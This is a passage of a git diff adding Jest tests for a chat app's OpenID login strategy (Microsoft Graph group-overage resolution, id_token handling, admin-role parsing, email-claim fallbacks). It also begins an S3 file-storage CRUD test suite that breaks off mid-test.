+ ['token kind is not id', { kind: 'access', path: 'groups', decoded: { hasgroups: true } }],
+ ['parameter path is not groups', { kind: 'id', path: 'roles', decoded: { hasgroups: true } }],
+ ['decoded token is falsy', { kind: 'id', path: 'groups', decoded: null }],
+ [
+ 'no overage indicators in decoded token',
+ {
+ kind: 'id',
+ path: 'groups',
+ decoded: {
+ permissions: ['admin'],
+ },
+ },
+ ],
+ [
+ 'only _claim_names present (no _claim_sources)',
+ {
+ kind: 'id',
+ path: 'groups',
+ decoded: {
+ _claim_names: { groups: 'src1' },
+ permissions: ['admin'],
+ },
+ },
+ ],
+ [
+ 'only _claim_sources present (no _claim_names)',
+ {
+ kind: 'id',
+ path: 'groups',
+ decoded: {
+ _claim_sources: { src1: { endpoint: 'https://graph.windows.net/ignored' } },
+ permissions: ['admin'],
+ },
+ },
+ ],
+ ])('does not attempt overage resolution when %s', async (_label, cfg) => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = cfg.path;
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = cfg.kind;
+
+ jwtDecode.mockReturnValue(cfg.decoded);
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ const { user, details } = await validate(tokenset);
+
+ expect(undici.fetch).not.toHaveBeenCalled();
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "group-required" role to log in.');
+ const { logger } = require('@librechat/data-schemas');
+ const expectedTokenKind = cfg.kind === 'access' ? 'access token' : 'id token';
+ expect(logger.error).toHaveBeenCalledWith(
+ expect.stringContaining(`Key '${cfg.path}' not found in ${expectedTokenKind}!`),
+ );
+ });
+ });
+
+ describe('resolving groups via Microsoft Graph', () => {
+ it('denies login and does not call Graph when access token is missing', async () => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ const { logger } = require('@librechat/data-schemas');
+
+ jwtDecode.mockReturnValue({
+ hasgroups: true,
+ permissions: ['admin'],
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ const tokensetWithoutAccess = {
+ ...tokenset,
+ access_token: undefined,
+ };
+
+ const { user, details } = await validate(tokensetWithoutAccess);
+
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "group-required" role to log in.');
+
+ expect(undici.fetch).not.toHaveBeenCalled();
+ expect(logger.error).toHaveBeenCalledWith(
+ expect.stringContaining('Access token missing; cannot resolve group overage'),
+ );
+ });
+
+ it.each([
+ [
+ 'Graph returns HTTP error',
+ async () => ({
+ ok: false,
+ status: 403,
+ statusText: 'Forbidden',
+ json: async () => ({}),
+ }),
+ [
+ '[openidStrategy] Failed to resolve groups via Microsoft Graph getMemberObjects: HTTP 403 Forbidden',
+ ],
+ ],
+ [
+ 'Graph network error',
+ async () => {
+ throw new Error('network error');
+ },
+ [
+ '[openidStrategy] Error resolving groups via Microsoft Graph getMemberObjects:',
+ expect.any(Error),
+ ],
+ ],
+ [
+ 'Graph returns unexpected shape (no value)',
+ async () => ({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({}),
+ }),
+ [
+ '[openidStrategy] Unexpected response format when resolving groups via Microsoft Graph getMemberObjects',
+ ],
+ ],
+ [
+ 'Graph returns invalid value type',
+ async () => ({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: 'not-an-array' }),
+ }),
+ [
+ '[openidStrategy] Unexpected response format when resolving groups via Microsoft Graph getMemberObjects',
+ ],
+ ],
+ ])(
+ 'denies login when overage resolution fails because %s',
+ async (_label, setupFetch, expectedErrorArgs) => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ const { logger } = require('@librechat/data-schemas');
+
+ jwtDecode.mockReturnValue({
+ hasgroups: true,
+ permissions: ['admin'],
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockImplementation(setupFetch);
+
+ const { user, details } = await validate(tokenset);
+
+ expect(undici.fetch).toHaveBeenCalled();
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "group-required" role to log in.');
+
+ expect(logger.error).toHaveBeenCalledWith(...expectedErrorArgs);
+ },
+ );
+
+ it.each([
+ [
+ 'hasgroups overage and Graph contains required group',
+ {
+ hasgroups: true,
+ },
+ ['group-required', 'some-other-group'],
+ true,
+ ],
+ [
+ '_claim_* overage and Graph contains required group',
+ {
+ _claim_names: { groups: 'src1' },
+ _claim_sources: { src1: { endpoint: 'https://graph.windows.net/ignored' } },
+ },
+ ['group-required', 'some-other-group'],
+ true,
+ ],
+ [
+ 'hasgroups overage and Graph does NOT contain required group',
+ {
+ hasgroups: true,
+ },
+ ['some-other-group'],
+ false,
+ ],
+ [
+ '_claim_* overage and Graph does NOT contain required group',
+ {
+ _claim_names: { groups: 'src1' },
+ _claim_sources: { src1: { endpoint: 'https://graph.windows.net/ignored' } },
+ },
+ ['some-other-group'],
+ false,
+ ],
+ ])(
+ 'resolves groups via Microsoft Graph when %s',
+ async (_label, decodedTokenValue, graphGroups, expectedAllowed) => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ const { logger } = require('@librechat/data-schemas');
+
+ jwtDecode.mockReturnValue(decodedTokenValue);
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({
+ value: graphGroups,
+ }),
+ });
+
+ const { user } = await validate(tokenset);
+
+ expect(undici.fetch).toHaveBeenCalledWith(
+ 'https://graph.microsoft.com/v1.0/me/getMemberObjects',
+ expect.objectContaining({
+ method: 'POST',
+ headers: expect.objectContaining({
+ Authorization: `Bearer ${tokenset.access_token}`,
+ }),
+ }),
+ );
+ expect(Boolean(user)).toBe(expectedAllowed);
+
+ expect(logger.debug).toHaveBeenCalledWith(
+ expect.stringContaining(
+ `Successfully resolved ${graphGroups.length} groups via Microsoft Graph getMemberObjects`,
+ ),
+ );
+ },
+ );
+ });
+
it('should attempt to download and save the avatar if picture is provided', async () => {
// Act
const { user } = await validate(tokenset);
@@ -389,7 +772,7 @@ describe('setupOpenId', () => {
// Arrange
process.env.OPENID_REQUIRED_ROLE = 'someRole,anotherRole,admin';
await setupOpenId(); // Re-initialize the strategy
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
jwtDecode.mockReturnValue({
roles: ['anotherRole', 'aThirdRole'],
});
@@ -406,7 +789,7 @@ describe('setupOpenId', () => {
// Arrange
process.env.OPENID_REQUIRED_ROLE = 'someRole,anotherRole,admin';
await setupOpenId(); // Re-initialize the strategy
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
jwtDecode.mockReturnValue({
roles: ['aThirdRole', 'aFourthRole'],
});
@@ -425,7 +808,7 @@ describe('setupOpenId', () => {
// Arrange
process.env.OPENID_REQUIRED_ROLE = ' someRole , anotherRole , admin ';
await setupOpenId(); // Re-initialize the strategy
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
jwtDecode.mockReturnValue({
roles: ['someRole'],
});
@@ -449,10 +832,11 @@ describe('setupOpenId', () => {
});
it('should attach federatedTokens to user object for token propagation', async () => {
- // Arrange - setup tokenset with access token, refresh token, and expiration
+ // Arrange - setup tokenset with access token, id token, refresh token, and expiration
const tokensetWithTokens = {
...tokenset,
access_token: 'mock_access_token_abc123',
+ id_token: 'mock_id_token_def456',
refresh_token: 'mock_refresh_token_xyz789',
expires_at: 1234567890,
};
@@ -464,16 +848,37 @@ describe('setupOpenId', () => {
expect(user.federatedTokens).toBeDefined();
expect(user.federatedTokens).toEqual({
access_token: 'mock_access_token_abc123',
+ id_token: 'mock_id_token_def456',
refresh_token: 'mock_refresh_token_xyz789',
expires_at: 1234567890,
});
});
+ it('should include id_token in federatedTokens distinct from access_token', async () => {
+ // Arrange - use different values for access_token and id_token
+ const tokensetWithTokens = {
+ ...tokenset,
+ access_token: 'the_access_token',
+ id_token: 'the_id_token',
+ refresh_token: 'the_refresh_token',
+ expires_at: 9999999999,
+ };
+
+ // Act
+ const { user } = await validate(tokensetWithTokens);
+
+ // Assert - id_token and access_token must be different values
+ expect(user.federatedTokens.access_token).toBe('the_access_token');
+ expect(user.federatedTokens.id_token).toBe('the_id_token');
+ expect(user.federatedTokens.id_token).not.toBe(user.federatedTokens.access_token);
+ });
+
it('should include tokenset along with federatedTokens', async () => {
// Arrange
const tokensetWithTokens = {
...tokenset,
access_token: 'test_access_token',
+ id_token: 'test_id_token',
refresh_token: 'test_refresh_token',
expires_at: 9999999999,
};
@@ -485,7 +890,9 @@ describe('setupOpenId', () => {
expect(user.tokenset).toBeDefined();
expect(user.federatedTokens).toBeDefined();
expect(user.tokenset.access_token).toBe('test_access_token');
+ expect(user.tokenset.id_token).toBe('test_id_token');
expect(user.federatedTokens.access_token).toBe('test_access_token');
+ expect(user.federatedTokens.id_token).toBe('test_id_token');
});
it('should set role to "ADMIN" if OPENID_ADMIN_ROLE is set and user has that role', async () => {
@@ -560,7 +967,7 @@ describe('setupOpenId', () => {
delete process.env.OPENID_ADMIN_ROLE_TOKEN_KIND;
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
// Simulate an existing admin user
const existingAdminUser = {
@@ -611,7 +1018,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -634,7 +1041,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -655,14 +1062,12 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user, details } = await validate(tokenset);
expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining(
- "Key 'resource_access.nonexistent.roles' not found or invalid type in id token!",
- ),
+ expect.stringContaining("Key 'resource_access.nonexistent.roles' not found in id token!"),
);
expect(user).toBe(false);
expect(details.message).toContain('role to log in');
@@ -680,12 +1085,12 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining("Key 'org.team.roles' not found or invalid type in id token!"),
+ expect.stringContaining("Key 'org.team.roles' not found in id token!"),
);
expect(user).toBe(false);
});
@@ -709,7 +1114,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -739,7 +1144,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate({
...tokenset,
@@ -759,7 +1164,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -776,7 +1181,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -793,7 +1198,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -810,7 +1215,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -827,13 +1232,53 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
expect(user.role).toBeUndefined();
});
+ it('should grant admin when admin role claim is a space-separated string containing the admin role', async () => {
+ // Arrange – IdP returns admin roles as a space-delimited string
+ process.env.OPENID_ADMIN_ROLE = 'site-admin';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
+
+ jwtDecode.mockReturnValue({
+ roles: ['requiredRole'],
+ app_roles: 'user site-admin moderator',
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – admin role is granted after splitting the delimited string
+ expect(user.role).toBe('ADMIN');
+ });
+
+ it('should not grant admin when admin role claim is a space-separated string that does not contain the admin role', async () => {
+ // Arrange – delimited string present but admin role is absent
+ process.env.OPENID_ADMIN_ROLE = 'site-admin';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
+
+ jwtDecode.mockReturnValue({
+ roles: ['requiredRole'],
+ app_roles: 'user moderator',
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – admin role is not granted
+ expect(user.role).toBeUndefined();
+ });
+
it('should handle nested path with special characters in keys', async () => {
process.env.OPENID_REQUIRED_ROLE = 'app-user';
process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'resource_access.my-app-123.roles';
@@ -847,7 +1292,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
@@ -864,12 +1309,12 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining("Key 'access.roles' not found or invalid type in id token!"),
+ expect.stringContaining("Key 'access.roles' not found in id token!"),
);
expect(user).toBe(false);
});
@@ -884,12 +1329,12 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining("Key 'data.roles' not found or invalid type in id token!"),
+ expect.stringContaining("Key 'data.roles' not found in id token!"),
);
expect(user).toBe(false);
});
@@ -906,7 +1351,7 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
await expect(validate(tokenset)).rejects.toThrow('Invalid admin role token kind');
@@ -927,12 +1372,12 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user, details } = await validate(tokenset);
expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining("Key 'roles' not found or invalid type in id token!"),
+ expect.stringContaining("Key 'roles' not found in id token!"),
);
expect(user).toBe(false);
expect(details.message).toContain('role to log in');
@@ -948,14 +1393,92 @@ describe('setupOpenId', () => {
});
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
const { user } = await validate(tokenset);
expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining("Key 'roleCount' not found or invalid type in id token!"),
+ expect.stringContaining("Key 'roleCount' not found in id token!"),
);
expect(user).toBe(false);
});
});
+
+ describe('OPENID_EMAIL_CLAIM', () => {
+ it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
+ const { user } = await validate(tokenset);
+ expect(user.email).toBe('test@example.com');
+ });
+
+ it('should use the configured claim when OPENID_EMAIL_CLAIM is set', async () => {
+ process.env.OPENID_EMAIL_CLAIM = 'upn';
+ const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('user@corp.example.com');
+ expect(createUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: 'user@corp.example.com' }),
+ expect.anything(),
+ true,
+ true,
+ );
+ });
+
+ it('should fall back to preferred_username when email is missing and OPENID_EMAIL_CLAIM is not set', async () => {
+ const userinfo = { ...tokenset.claims() };
+ delete userinfo.email;
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('testusername');
+ });
+
+ it('should fall back to upn when email and preferred_username are missing and OPENID_EMAIL_CLAIM is not set', async () => {
+ const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+ delete userinfo.email;
+ delete userinfo.preferred_username;
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('user@corp.example.com');
+ });
+
+ it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = '';
+
+ const { user } = await validate(tokenset);
+
+ expect(user.email).toBe('test@example.com');
+ });
+
+ it('should trim whitespace from OPENID_EMAIL_CLAIM and resolve correctly', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' upn ';
+ const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('user@corp.example.com');
+ });
+
+ it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' ';
+
+ const { user } = await validate(tokenset);
+
+ expect(user.email).toBe('test@example.com');
+ });
+
+ it('should fall back to default chain with warning when configured claim is missing from userinfo', async () => {
+ const { logger } = require('@librechat/data-schemas');
+ process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
+
+ const { user } = await validate(tokenset);
+
+ expect(user.email).toBe('test@example.com');
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('OPENID_EMAIL_CLAIM="nonexistent_claim" not present in userinfo'),
+ );
+ });
+ });
});
diff --git a/api/strategies/samlStrategy.spec.js b/api/strategies/samlStrategy.spec.js
index 06c969ce46..1d16719b87 100644
--- a/api/strategies/samlStrategy.spec.js
+++ b/api/strategies/samlStrategy.spec.js
@@ -1,5 +1,4 @@
// --- Mocks ---
-jest.mock('tiktoken');
jest.mock('fs');
jest.mock('path');
jest.mock('node-fetch');
diff --git a/api/test/services/Files/S3/crud.test.js b/api/test/services/Files/S3/crud.test.js
new file mode 100644
index 0000000000..c7b46fba4c
--- /dev/null
+++ b/api/test/services/Files/S3/crud.test.js
@@ -0,0 +1,876 @@
+const fs = require('fs');
+const fetch = require('node-fetch');
+const { Readable } = require('stream');
+const { FileSources } = require('librechat-data-provider');
+const {
+ PutObjectCommand,
+ GetObjectCommand,
+ HeadObjectCommand,
+ DeleteObjectCommand,
+} = require('@aws-sdk/client-s3');
+const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
+
+// Mock dependencies
+jest.mock('fs');
+jest.mock('node-fetch');
+jest.mock('@aws-sdk/s3-request-presigner');
+jest.mock('@aws-sdk/client-s3');
+
+jest.mock('@librechat/api', () => ({
+ initializeS3: jest.fn(),
+ deleteRagFile: jest.fn().mockResolvedValue(undefined),
+ isEnabled: jest.fn((val) => val === 'true'),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+}));
+
+const { initializeS3, deleteRagFile } = require('@librechat/api');
+const { logger } = require('@librechat/data-schemas');
+
+// Set env vars before requiring crud so module-level constants pick them up
+process.env.AWS_BUCKET_NAME = 'test-bucket';
+process.env.S3_URL_EXPIRY_SECONDS = '120';
+
+const {
+ saveBufferToS3,
+ saveURLToS3,
+ getS3URL,
+ deleteFileFromS3,
+ uploadFileToS3,
+ getS3FileStream,
+ refreshS3FileUrls,
+ refreshS3Url,
+ needsRefresh,
+ getNewS3URL,
+ extractKeyFromS3Url,
+} = require('~/server/services/Files/S3/crud');
+
+describe('S3 CRUD Operations', () => {
+ let mockS3Client;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ // Setup mock S3 client
+ mockS3Client = {
+ send: jest.fn(),
+ };
+ initializeS3.mockReturnValue(mockS3Client);
+ });
+
+ afterEach(() => {
+ delete process.env.S3_URL_EXPIRY_SECONDS;
+ delete process.env.S3_REFRESH_EXPIRY_MS;
+ delete process.env.AWS_BUCKET_NAME;
+ });
+
+ describe('saveBufferToS3', () => {
+ it('should upload a buffer to S3 and return a signed URL', async () => {
+ const mockBuffer = Buffer.from('test data');
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
+
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await saveBufferToS3({
+ userId: 'user123',
+ buffer: mockBuffer,
+ fileName: 'test.jpg',
+ basePath: 'images',
+ });
+
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
+ expect(result).toBe(mockSignedUrl);
+ });
+
+ it('should use default basePath if not provided', async () => {
+ const mockBuffer = Buffer.from('test data');
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
+
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ await saveBufferToS3({
+ userId: 'user123',
+ buffer: mockBuffer,
+ fileName: 'test.jpg',
+ });
+
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should handle S3 upload errors', async () => {
+ const mockBuffer = Buffer.from('test data');
+ const error = new Error('S3 upload failed');
+
+ mockS3Client.send.mockRejectedValue(error);
+
+ await expect(
+ saveBufferToS3({
+ userId: 'user123',
+ buffer: mockBuffer,
+ fileName: 'test.jpg',
+ }),
+ ).rejects.toThrow('S3 upload failed');
+
+ expect(logger.error).toHaveBeenCalledWith(
+ '[saveBufferToS3] Error uploading buffer to S3:',
+ 'S3 upload failed',
+ );
+ });
+ });
+
+ describe('getS3URL', () => {
+ it('should return a signed URL for a file', async () => {
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ basePath: 'documents',
+ });
+
+ expect(result).toBe(mockSignedUrl);
+ expect(getSignedUrl).toHaveBeenCalledWith(
+ mockS3Client,
+ expect.any(GetObjectCommand),
+ expect.objectContaining({ expiresIn: 120 }),
+ );
+ });
+
+ it('should add custom filename to Content-Disposition header', async () => {
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ await getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ customFilename: 'custom-name.pdf',
+ });
+
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should add custom content type', async () => {
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ await getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ contentType: 'application/pdf',
+ });
+
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should handle errors when getting signed URL', async () => {
+ const error = new Error('Failed to sign URL');
+ getSignedUrl.mockRejectedValue(error);
+
+ await expect(
+ getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ }),
+ ).rejects.toThrow('Failed to sign URL');
+
+ expect(logger.error).toHaveBeenCalledWith(
+ '[getS3URL] Error getting signed URL from S3:',
+ 'Failed to sign URL',
+ );
+ });
+ });
+
+ describe('saveURLToS3', () => {
+ it('should fetch a file from URL and save to S3', async () => {
+ const mockBuffer = Buffer.from('downloaded data');
+ const mockResponse = {
+ buffer: jest.fn().mockResolvedValue(mockBuffer),
+ };
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/downloaded.jpg?signature=abc';
+
+ fetch.mockResolvedValue(mockResponse);
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await saveURLToS3({
+ userId: 'user123',
+ URL: 'https://example.com/image.jpg',
+ fileName: 'downloaded.jpg',
+ });
+
+ expect(fetch).toHaveBeenCalledWith('https://example.com/image.jpg');
+ expect(mockS3Client.send).toHaveBeenCalled();
+ expect(result).toBe(mockSignedUrl);
+ });
+
+ it('should handle fetch errors', async () => {
+ const error = new Error('Network error');
+ fetch.mockRejectedValue(error);
+
+ await expect(
+ saveURLToS3({
+ userId: 'user123',
+ URL: 'https://example.com/image.jpg',
+ fileName: 'downloaded.jpg',
+ }),
+ ).rejects.toThrow('Network error');
+
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('deleteFileFromS3', () => {
+ const mockReq = {
+ user: { id: 'user123' },
+ };
+
+ it('should delete a file from S3', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
+ file_id: 'file123',
+ };
+
+ // Mock HeadObject to verify file exists
+ mockS3Client.send
+ .mockResolvedValueOnce({}) // First HeadObject - exists
+ .mockResolvedValueOnce({}) // DeleteObject
+ .mockRejectedValueOnce({ name: 'NotFound' }); // Second HeadObject - deleted
+
+ await deleteFileFromS3(mockReq, mockFile);
+
+ expect(deleteRagFile).toHaveBeenCalledWith({ userId: 'user123', file: mockFile });
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(HeadObjectCommand));
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(DeleteObjectCommand));
+ });
+
+ it('should handle file not found gracefully', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/nonexistent.jpg',
+ file_id: 'file123',
+ };
+
+ mockS3Client.send.mockRejectedValue({ name: 'NotFound' });
+
+ await deleteFileFromS3(mockReq, mockFile);
+
+ expect(logger.warn).toHaveBeenCalled();
+ });
+
+ it('should throw error if user ID does not match', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/different-user/file.jpg',
+ file_id: 'file123',
+ };
+
+ await expect(deleteFileFromS3(mockReq, mockFile)).rejects.toThrow('User ID mismatch');
+ expect(logger.error).toHaveBeenCalled();
+ });
+
+ it('should handle NoSuchKey error', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
+ file_id: 'file123',
+ };
+
+ mockS3Client.send
+ .mockResolvedValueOnce({}) // HeadObject - exists
+ .mockRejectedValueOnce({ code: 'NoSuchKey' }); // DeleteObject fails
+
+ await deleteFileFromS3(mockReq, mockFile);
+
+ expect(logger.debug).toHaveBeenCalled();
+ });
+ });
+
+ describe('uploadFileToS3', () => {
+ const mockReq = {
+ user: { id: 'user123' },
+ };
+
+ it('should upload a file from disk to S3', async () => {
+ const mockFile = {
+ path: '/tmp/upload.jpg',
+ originalname: 'photo.jpg',
+ };
+ const mockStats = { size: 1024 };
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file123__photo.jpg?signature=xyz';
+
+ fs.promises = { stat: jest.fn().mockResolvedValue(mockStats) };
+ fs.createReadStream = jest.fn().mockReturnValue(new Readable());
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await uploadFileToS3({
+ req: mockReq,
+ file: mockFile,
+ file_id: 'file123',
+ basePath: 'images',
+ });
+
+ expect(result).toEqual({
+ filepath: mockSignedUrl,
+ bytes: 1024,
+ });
+ expect(fs.createReadStream).toHaveBeenCalledWith('/tmp/upload.jpg');
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
+ });
+
+ it('should handle upload errors and clean up temp file', async () => {
+ const mockFile = {
+ path: '/tmp/upload.jpg',
+ originalname: 'photo.jpg',
+ };
+ const error = new Error('Upload failed');
+
+ fs.promises = {
